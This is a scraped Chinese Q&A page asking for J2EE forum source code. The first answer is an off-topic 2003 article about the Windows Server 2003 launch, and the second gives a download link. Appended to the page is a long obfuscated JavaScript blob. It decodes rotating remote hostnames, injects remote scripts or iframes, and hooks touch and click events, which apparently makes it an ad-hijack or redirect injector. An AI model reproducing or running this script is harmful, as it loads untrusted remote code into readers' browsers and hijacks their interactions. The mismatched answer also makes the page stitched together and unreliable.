求一个用j2ee带sql server2000的互动论坛代码

功能不用太复杂! 如果有的给我发到QQ邮箱:476719489@qq.com
2025-03-09 11:50:08
推荐回答(2个)
回答1:

Windows Server 2003意味着什么?

5月22日,耗资14亿美元用于全球推广、被称为微软基于“。NET”平台“开山之作”的Windows Server 2003中文版将正式发布。然而,从它被孕育的第一天起,微软这款第一次锁定在大企业环境下的操作系统平台,就注定了将被置于Windows/Linux这一巨大的历史分水岭中接受严峻考验。

2003年2月8日,北京国际机场候机大厅。

这天还算是农历春节,而用友U8事业部的总工程师邓适宜和两位手下,马上就要登机前往美国。他们这次是应微软的邀请,到西雅图微软总部考察,而此行的真正目的,是有关微软SQL Server下一代版本Yukon。

邓适宜一行在微软开发部的办公楼里呆了整整半个月。微软SQL Server的产品经理接待了他们,把还在前期设计开发阶段的Yukon的新增功能向他们做了演示。同时,这位产品经理向邓征询了意见和需求,并做了实验。

作为国内最大的ISV的核心开发人员,邓已经是第二次到西雅图来了,上一次是在3个月前,而交流的对象就是Windows Server 2003。“微软很在意ISV对Windows Server 2003的测试结果”,邓说,事实上微软这次格外看中合作伙伴的意见,并提供了难以想像的支持,毕竟Windows Server 2003对于微软来说有着致命的重要性。

在距离微软“。NET”理念提出两年后,Windows Server 2003是让其真正“落地”的第一款有着重要意义的产品,称得上是“。NET”的开山之作。

“。NET”开山之作

其实,早在2003年4月24日,在旧金山的Windows Server 2003的全球发布会上,除了发布Windows Server 2003的7个不同版本的产品外,微软同期还发布了开发工具Visual Studio。NET 2003和64位的数据库SQL Server 2000企业版。

仅参与Windows Server 2003产品研发的工程师就多达5000人,取得了650项技术创新和突破。而在Windows Server 2003面市前的700天,微软就对合作伙伴的开发人员进行了培训,面市1年前开发工具就被提供给了ISV,从alpha版开始全球共有69万人参加了试用,仅中国就有1万多家企业客户参与进来,按微软的话说是“一切都Ready(准备就绪)了”。这样的发布策略和推广力度在历史上是罕见的。特别是,从14亿美元的全球推广费用上,更可看出微软对Windows Server 2003的期待和良苦用心。

Windows Server 2003就像一个明星婴儿,在母亲腹中就引来了太多的关注。尚未落地,Windows Server 2003的测试已经得到公开认证,各调查机构也纷纷就其对市场的影响展开分析。正如微软自己所说“Windows Server 2003是为业界期待的产品”,事实上,这种关注某种程度上源于它是微软在“防守”态势中的一次关键回击。

微软的回击

Windows Server 2003的孕育环境早已发生了天翻地覆的变化。最重要的是,所向披靡的“Wintel时代”已经过去了。

从2001年开始,对于市场的变化,微软开始有了些许不适应感。在微软一贯有优势的前台市场上,PC和笔记本的增长速度已经放缓。而在比PC高出一个数量级的手机市场上,微软与NOKIA的Symbian的较量还是迷雾一团。

在后台,微软面临的竞争环境更加恶劣。随着企业的信息化不再只是电脑和电脑之间的数据沟通,企业的需求重点也不再是买多少服务器、服务器上跑什么软件,而是多业务的衔接和整合,于是期望有开放标准后台的需求在企业信息化中凸现出来。IDC统计数字表明,2001年在全球服务器操作系统市场上,Linux已占有26%的“江山”,当然,在中国市场Linux对微软的威胁相对较小,根据微软提供的2003年初Tailor Nilson公司的调查数据显示,中国市场所有服务器的装机量中Linux操作系统仅占4%。但无论如何,微软都必须为自己增加竞争的筹码了。

企业用户对服务器的安全性、可靠性的苛刻要求,使得微软在企业级产品高端市场进展不大。加之行业信息化经验的缺乏,微软只能眼睁睁地看着像SAP、Peoplesoft这样的公司在身边快速增长,而自己却没有新的增长点。

可以说“。NET”的提出标志着微软的战略在进行革命性的迁移。从“每个人桌上都有电脑”的理想到“开放的构架和开放的平台”,微软企业级产品在整个业务中的比重越来越重(下图)。

为此,微软对基于Microsoft。NET的服务器操作系统明确地提出了5个开发目标,即:满足各种计算复杂度需求的服务器平台;高附加值、含有多组件的服务器平台;高效支持应用程序的服务器平台;可扩展性强的服务器平台;最具生产效率和最佳TCO的服务器平台。

“其实,这一切都是用户告诉我们的”,微软中国市场部产品经理舒骋向记者介绍道,微软清�乜吹剑�按覫nternet时代走向企业信息即时沟通时代,用户需要更多的企业应用,来支撑‘即时沟通、个人体验’,这就需要更强大的平台支持需求日益增长的‘Web Service’,于是能支撑更大规模应用、内置整合功能更强大服务器的需求很迫切,而同时又要求这样的服务器管理成本近于‘零’,自我维护简单、安全”。

在2003年1~3月的财季中,微软的“服务器平台”部门的收入比上一年同期增加了21%。除了传统的服务器市场,微软也试探着从专有Unix产品手中抢夺市场,而微软灵魂人物比尔·盖茨提出高信度计算的理念,更是明示了对这个市场的决心。

与前台市场相比,微软在后台的竞争对手Linux还稍显单薄,而Unix的阵营还没有强大到坚不可摧,因此,向后台市场突围或许是微软改变自己被动局势的最好方案,而“。NET”理念作为“一整套方法学”,将在未来很长一段时间内决定微软反击的成败。

多级竞争阵营

“IBM公司的部分部门将销售微软产品,而另一些部门则将与之竞争,还有一些部门则为其提供服务”。IBM对于Windows Server 2003发布的回应从某种程度上折射了现在市场上各厂商间微妙的竞争关系,尽管实际的竞争已经白热化。

64位的Windows Server 2003目标直指高端市场,“IBM还会利用AIX (Unix)操作系统与Linux战略,与Windows Server 2003展开竞争。该战略将是取代Windows及‘。NET’战略的开放源代码利器。IBM软件还将与微软的中间件竞争,包括SQL Server和Exchange”。但现在,IBM软件全部五大品牌——WebSphere、DB2、Lotus、Tivoli、Rational,都已经提供了支持Windows Server 2003的产品。

同是传统的Unix高端服务器厂商惠普对Windows 2003 Server的态度和IBM却有很大的不同。惠普最大的主机超腾和Windows Server 2003配合创造出了最快的TPCC值。NEC的主机也对Windows Server 2003敞开了大门。

而对于微软的老搭档Intel来说,它和微软一样在“后Wintel时代”寻找着新的兴奋点,只是Intel可以更多地结盟。“目前Intel架构服务器所支持的操作系统平台品种繁多且都各有千秋,但Windows Server 2003作为最新产品,吸收了其他操作系统的精华,对市场的贡献会更突出。”Intel中国区业务发展经理罗斌这样表示。毕竟,市场中基于Intel架构的服务器大量运行在微软的平台上,32位Windons Server 2003操作系统的推出,巩固和加强了Intel和微软在这一传统领域的优势。而64位的Windows Server 2003直指Intel期望已久的那10%的、RISK架构占领的高端市场,“64位的Windows Server 2003自然是Intel进入这个市场最有利的利器。”难怪在Windows Server 2003美国的发布会上,Intel是惟一一家除微软之外的第二家品牌企业做了主题演讲。

事实上,目前市场的竞争态势已经不再是二元结构。“阵营”、“都支持”、“开放性”、“联盟”都表明了一种多元的竞和关系已经成为目前市场的主流格局,厂商们在这种多级的竞争中博弈,用户是制衡的惟一力量。微软是否能借助Windows Server 2003突围而出,取决于各合作端的回应。

ISV的机会

离5月22日Windows Server 2003中文版的发布还有一周时间,微软产品经理舒骋这几天是最忙的,电话一直没有断过。

其中的一个电话来自金蝶。尽管北京“非典”疫情影响了即将到来的发布会的规模,但金蝶表示他们高级副总裁金卓君一定会到来。作为国内重要的ISV,金蝶一直都与微软走得很近。

与以往相比,微软这次对ISV的支持力度格外地重。在中文版面市之前,已经有18家ISV通过了Windows Server 2003的认证。并且,微软收集了每一家ISV对Windows Server 2003的评价和对Visual Studio。NET 2003的评价。

用友U8事业部总工程师邓适宜向记者介绍了ISV感兴趣的Windows Server 2003的新特性及对ISV的意义,“首先,作为应用服务器的支撑平台,Windows Server 2003所带的COM+1.5的可配置事务隔离级别、允许公用/私有组件、无组件服务的嵌套和联合等新特性为ISV在应用服务端软件设计方案的选择上提供了更多的灵活性,能有效地改善高并发的服务端性能,特别是对进行复杂数据库应用开发的管理软件公司非常有意义;其次,IIS6.0、MSMQ 3.0、UDDI及COM+1.5对XML WEB服务的支持构成了良好的本机环境,简化了高度互操作的软件开发;另外,AD、集群、安全模型的改进和增强,对更多CPU和内存提供支持,为企业高容量的事务处理关键任务解决方案(ERP等)提供了坚实的基础”。

金蝶研发中心技术总监林峰也同样认为:“Windows Server 2003在内部安全机制及安全策略方面有了更加完善的考虑,默认的安全设置从防止安全隐患的角度进行设置,防止了用户配置不当造成的安全问题。系统服务如IIS 6.0在性能及可靠性方面的进步,提升了企业应用的可靠性及可用性。新增的集群服务使得企业应用方案更加完整,配置方便而且降低了整个企业应用方案的成本”。

与许多ISV一样,微软Windows Server 2003的发布给用友的业务带来了很大的冲击。这种冲击一方面来自于自己产品与Windows Server 2003兼容性的考验,“ISV不能不关注微软的影响力,如果用户用Windows Server 2003,用友不转不行呀”,U8就为此出了一个补丁。

而另外一方面,从应用的实现上说,这又是ISV和开发商们一次难得的机会。

国内做业务基础平台公司的思维加速的总裁马科对记者表示:“从开发商的角度上看,很高兴微软在产品性能上投入了这样的精力。以前对于基于NT开发的方案用户是心存疑虑的,Windows Server 2003对安全性和稳定性的改进是应该的。”事实上,许多中低端市场的开发商和ISV认为,尽管64位的Windows Server 2003目标是向高端市场冲击,但或许随着Windows Server 2003性能的提升,更多的应用得以实现,中低端市场挖掘出的“PC的生产力”会给微软带来不小的惊喜。目前ISV们希望能尽早看到Windows Server 2003新的服务和特性出来,他们期待着进一步的培训。

微软Windows Server 2003要想成功地向高端冲击,主要依赖于ISV能否在上面开发出高端应用,而ISV早早地介入微软下一代服务器平台的开发,就是为了缩短这个进程。

用户的抉择

“Windows Server 2003在得到用户采用方面面临严峻的挑战”。一位合作伙伴尖锐地指出。

这样的处境或许是微软能够预料到的。微软在Windows Server 2003推出前期就对关键用户的关键业务进行了移植。

上海电信从2002年开始,在原有基础上搭建上海热线II宽带应用平台,基于微软Windows Server 2003操作系统平台,和该系统内置全新的Windows Media 9流媒体平台,建构了流媒体娱乐服务方案;佐丹奴集团在2002年就加入了Windows Server 2003的预览计划和测试计划,将企业内部的操作系统服务器平台都升级到Windows Server 2003,内容包括内部的活动目录系统、邮件系统、数据库及决策支持系统,以及连接不同分公司的VPN系统;另外海尔集团、海关总署等用户,也在试用移植后表示了对Server 2003的支持。

一份来自Yankee集团的调查报告显示,该机构在调查了1000家公司后发现,其中不到20%的公司计划在下一年安装Windows Server 2003,而34%的公司预计在某种程度上采用它。另外15%明确表示不会升级。Yankee集团高级分析员Laura DiDio说,这一采用率与过去的微软软件相比黯然失色,并且落后于3年前发布的Windows Server 2000。Windows Server 2000发布后的12个月内,迁移的用户有30%。

然而,另外一家国际调研机构的调查结果显示,就中国市场来说,到2004年,用户购买高端服务器的预算将下降两个百分点,而Windows Server 2003其中一个卖点就是它的性价比高和能够有效降低用户的TCO(总拥有成本)。

用户究竟会怎样选择?

有专家分析认为,目前操作系统在架构和原理上逐渐趋同,只是实现策略各不相同,市场最终的判断不会基于技术或者价格这样的单一因素,影响用户偏好的环节实在太复杂,这也是市场竞争充满魅力的原因。无论是Intel、惠普、Dell还是IBM,他们对Windows Server 2003选择的前提都是“这是用户的选择”。用友的蒋蜀革说得很明白:“平台是为我们所用的,用户选择什么,我们就选择什么。”微软也从来没有像今天一样那么频繁地提出“用户满意度。”

“事实上,在企业中高端服务器产品中,客户有很大的自由度。微软过去的Windows 2000、NT定位于中小企业环境,而此次推出Windows Server 2003已经进入了大企业的环境,这就像整个硬件平台的设计一样,人们不能再沿袭过去的思路,系统之间、平台之间必须进行平滑的过渡,这一重整过程中最重要的就是商业已经走到了一个完全开放的环境,而用户也有了更多的选择。”惠普中国公司一位高层管理曾对记者说了这么一席意味深长的话,虽然并非特别针对Windows Server 2003而言,但这位负责人提到的商业环境的改变却令人深思。

未来的市场格局尚为悬念。微软中国Windows Server 2003中文版的发布推广措施正在紧锣密鼓地进行中,可以预见的一点是,Windows Server 2003的命运某种意义上预兆了微软的前途。在从桌面操作系统向企业级产品的战略转折中,Windows Server 2003在中高端服务器操作系统中的争夺,一开始就注定了将被置于Windows/Linux这一巨大的历史分水岭中接受严峻考验。

很显然,微软正在遭遇它茁壮成长20多年来历史上的最大敌人,这个敌人就是它自身,即在一个越来越更加开放的商业环境中,如何重新把握自己的道路选择。

Windows Server 2003的先、后天之辨

《计算机世界》记者马文方

很多公司对自己的新产品宠爱有加,把产品的推出称之为诞生,将这个比喻更加拟人化,就可以用先天来比喻产品的研发和试用阶段,用后天来比喻产品发布后的市场阶段。正如一个人的天赋将会对其一生产生很大的影响一样,研发赋予产品性能上的优劣也将决定该产品的命运。

先天蓄能

从1993年发布第一款服务器操作系统Windows NT 3.1开始,直到1996年发布的Windows NT 4.0,特别是1997年发布的Windows NT 4.0企业版,微软才算在服务器操作系统市场站稳了脚跟。而微软认为2000年发布的Windows 2000,则占据了中低端市场大半江山,把Unix逼到了高端市场;之后,Windows 2000又凭借Datacenter版开始“垂涎”高端市场。

在微软服务器操作系统发展进程中,“安全性差”的传言似乎是总也挥之不去的阴影,尽管微软的Windows NT 4.0与Unix在安全性上不分伯仲,同属TCSEC标准中的C2级。为了“洗清恶名”,Windows 2000参加了信息技术安全评估通用标准(CCITSE)认证。据微软介绍,Windows 2000还通过了独立的科学应用国际协会(SAIC)的评估,“Windows 2000的认证包含了范围最广的方案和迄今为止所达到的最高评估级别”。

Windows Server 2003还是完全按照盖茨提出的可信赖计算理念研发的第一款产品,微软不惜暂停研发工作,花了两个月的时间将Windows 2000的源代码逐行逐句地检查了一遍,因此,Windows Server 2003未来在安全上的表现,将是对微软可信赖计算的一次重要考验。

除了安全外,以Unix容错技术知名的Stratus公司也在Windows系统上实现了99.999%的可用性。有了安全和可用性的保障,Windows 2000就可以尽情地在性能上发挥了:与SQL Server携手,包揽了在线交易基准测试(TPC-C)集群系统的前三名。

然而,代表着商业计算系统最高水平的非集群系统TPC-C却一直被Unix所垄断。Windows Server 2003的推出终于有了历史性的突破,不仅挤进了前10名,今年4月24日凭借惠普系统658277 tmpC(每分钟交易次数)拔得头筹,同时以9.80美元/tmpC保持着前10名中最佳的性价比。5月9日,IBM以680613 tmpC居于榜首,维护了Unix的荣誉,但它比第2名惠普系统高出3.4%的性能是靠高出17.4%的系统造价换得的。目前,基于Windows Server 2003和64位SQL Server 2000企业版的系统在单机系统TPC-C前10名中占了4个席位,而在前5名中更占有3个席位,也就是说,在当今性能最高的5个商用单机计算系统中,Windows平台就占据了3个席位。

由于首次嵌入了“。NET”应用的运行平台——。NET Framework,从而使得Windows Server 2003成为“。NET”应用就绪的平台。加之同时发布的Visual Stidu。NET 2003,不仅为64位平台提供了开发工具,而且进一步方便了ISV对“。NET”应用的开发。

Windows Server 2003还有一个值得关注的特点是,利用插件技术来保持操作系统对新技术和新应用持续的支持。通常,在新一代产品发布之前,新的特性只能通过补丁程序或者新版本添加进来,而补丁程序承担的是修修补补的任务,新功能的添加是极其有限的,而更新版本的次数也是有限的,如在Windows 98之后,微软又推出了Windows 98 SE(第二版)。因此,这两种方式对新技术的支持要么有限,要么不及时。微软在Windows Server 2003中借用硬件系统中总线的概念,将新技术和新应用做成插件,随时可以插入操作系统中。微软承诺,未来将陆续发布几十个插件供用户免费下载,从而使得Windows Server 2003成为性能和功能上“动态更新”的操作系统,同时也保障了用户的投资回报。

后天发力

如果说Windows Server 2003先天得益于性能和功能的研发,那么,与Windows家族其他产品的协作则在很大程度上增添了它的后天优势。人们知道,在自然界中,狼不仅喜群居而且讲究分工合作。做个有些牵强的类比,Windows Server 2003就像是微软产品家族中一呼百应的首领--“头狼”,这不仅因为Windows Server 2003是所有微软企业级平台和应用的最新基石,还在于它与其他产品之间的协同关系上。

这种协同是建立在Windows Server 2003和XML之上的。在Windows Server 2003发布后,微软重要的应用平台Exchange Server 2003和Office 2003的英文版预计将会在今年6月发布,而除OS外微软最重要的平台产品SQL Server 2000的下一代产品Yukon将在明年发布。这种发布顺序凸现了OS的基石作用—其他产品都是“建立”其上,准确地说都是基于Windows Server 2003进行了优化,这在微软还是第一次。值得注意的是,微软这一次“一股脑”发布了7个版本的Windows Server 2003,其中有32位版本,也有64位版本,还有专为Web应用定制的Web版,甚至还推出了面向中小企业的版本,覆盖了服务器操作系统的方方面面。

Windows Server 2003的加盟使得Windows家族成为业界惟一的覆盖了从手机、PDA等移动设备,到PC等客户端设备,直至最高端数据中心服务器在内的完整的操作系统家族,借助开发工具VS。NET,用户可以用多种编程语言,一次编写。NET应用,便可在Windows家族不同平台上运行。凭借这些优势,微软既可满足不同用户的需求,也可以统一架构环境满足企业级用户不同层次的计算需求。这也应该视为协同的一种。

协同还表现在与Windows Server 2003同时发布的64位版数据库软件SQL Server 2000和Visual Studio。NET 2003上。64位的企业级应用必须建立在64位数据库平台上,因此,仅仅发布64位操作系统是远远不够的。有了64位操作系统,有了64位SQL Server,再加上64位企业级应用的开发环境Visual Studio。NET 2003,便构成了完整的企业级应用开发和运行环境,三者缺一不可。

Windows Server 2003也得到了SQL Server的帮衬。在企业级应用领域热门的商业智能上,微软无论是在销量还是在销售收入上均位居OLAP(在线分析处理)市场的榜首,除了单独销售外,微软在SQL Server中免费地提供这种数据挖掘工具。

当然,Windows Server 2003还要借助于Visual Studio。NET带来的开发和运行效率。Middleware Company是一家定位于企业级Java技术高级培训和顾问的公司,BEA、Oracle、Cisco都是它的客户。该公司在2002年10月发表的《J2EE与。NET应用服务器和Web服务基准测试》中披露,在“宠物店”演示程序的实现上,。NET的代码数量只是J2EE的1/6;Web服务方面,在峰值吞吐量、最大支持用户数等全部4项测试中,无论是在双CPU、4CPU还是8CPU系统上,。NET的性能明显优于J2EE。这无疑加大了微软在代表软件未来发展方向的Web服务上的砝码。

有人说,Windows Server 2003最大的竞争对手有两个:一个是原有的Windows操作系统,另一个是当前不见起色的经济环境。对于早已成熟的且Windows占有垄断份额的32位市场来说,此话不假。目前,很多用户的应用在NT4.0上跑得很好,加之NT4.0上的部分应用不像Windows 2000上的应用那样可以平滑地迁移到Windows Server 2003,因此,微软面临的任务在很大程度上是要劝说Windows NT 4.0迁移到新的平台上,而不景气的经济环境又增加了这一难度。

但对于基于英特尔安腾产品家族(IPF)的64位平台,则要具体情况具体分析。对于企业级用户特别是那些关键业务应用的用户来说,很大程度上,稳定可靠压倒一切。而稳定可靠的体验是通过对包括硬件系统、操作系统平台、数据库平台以及各种应用的长期考验获得的,也就是说,整个计算环境的成熟度是企业用户最为关注的,而这种成熟是以数年为代价的。对于基于IPF的64位计算环境来说,一切是新的——新的CPU、新的OS、新的数据库以及各种新的应用,一切都有待时间的考验,每个环节都不能出现闪失。

给64位Windows平台带来负面影响的还有因Y2K带来的企业级用户大规模地对IT设施的更新换代,而企业级软硬件的更新速度要远低于客户端的更新速度,因此,用户在原有系统的生命周期内大规模更新换代的可能性不大,除非原有系统无法适应企业的发展,而在生命周期内大规模迁移到一个全新平台的可能性就更小了。

至于说到经济的不景气,对于64位Windows来说倒有可能是件好事。对于那些从网络泡沫时代走过来、如今又饱受经济衰退煎熬的企业用户来说,IT投入的数量已经变成了敏感的数字,这将有助于用户从原有的相对昂贵的Unix平台迁移到性价比和TCO上具有很大优势的Windows平台上。

笔者估计,2005年将会是Windows在64位市场上取得不凡业绩的一年。一是因为经过数年的考验,硬件系统已经成熟,而英特尔也将推出含有双CPU内核的高性能产品;二是经过几年的迁移和新的应用的开发丰富了这一平台上的应用;三是因Y2K而升级换代的系统又迎来了新一轮的更新换代。

回答2:

http://www.pudn.com/downloads149/sourcecode/java/detail642432.html
里面应该有

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF 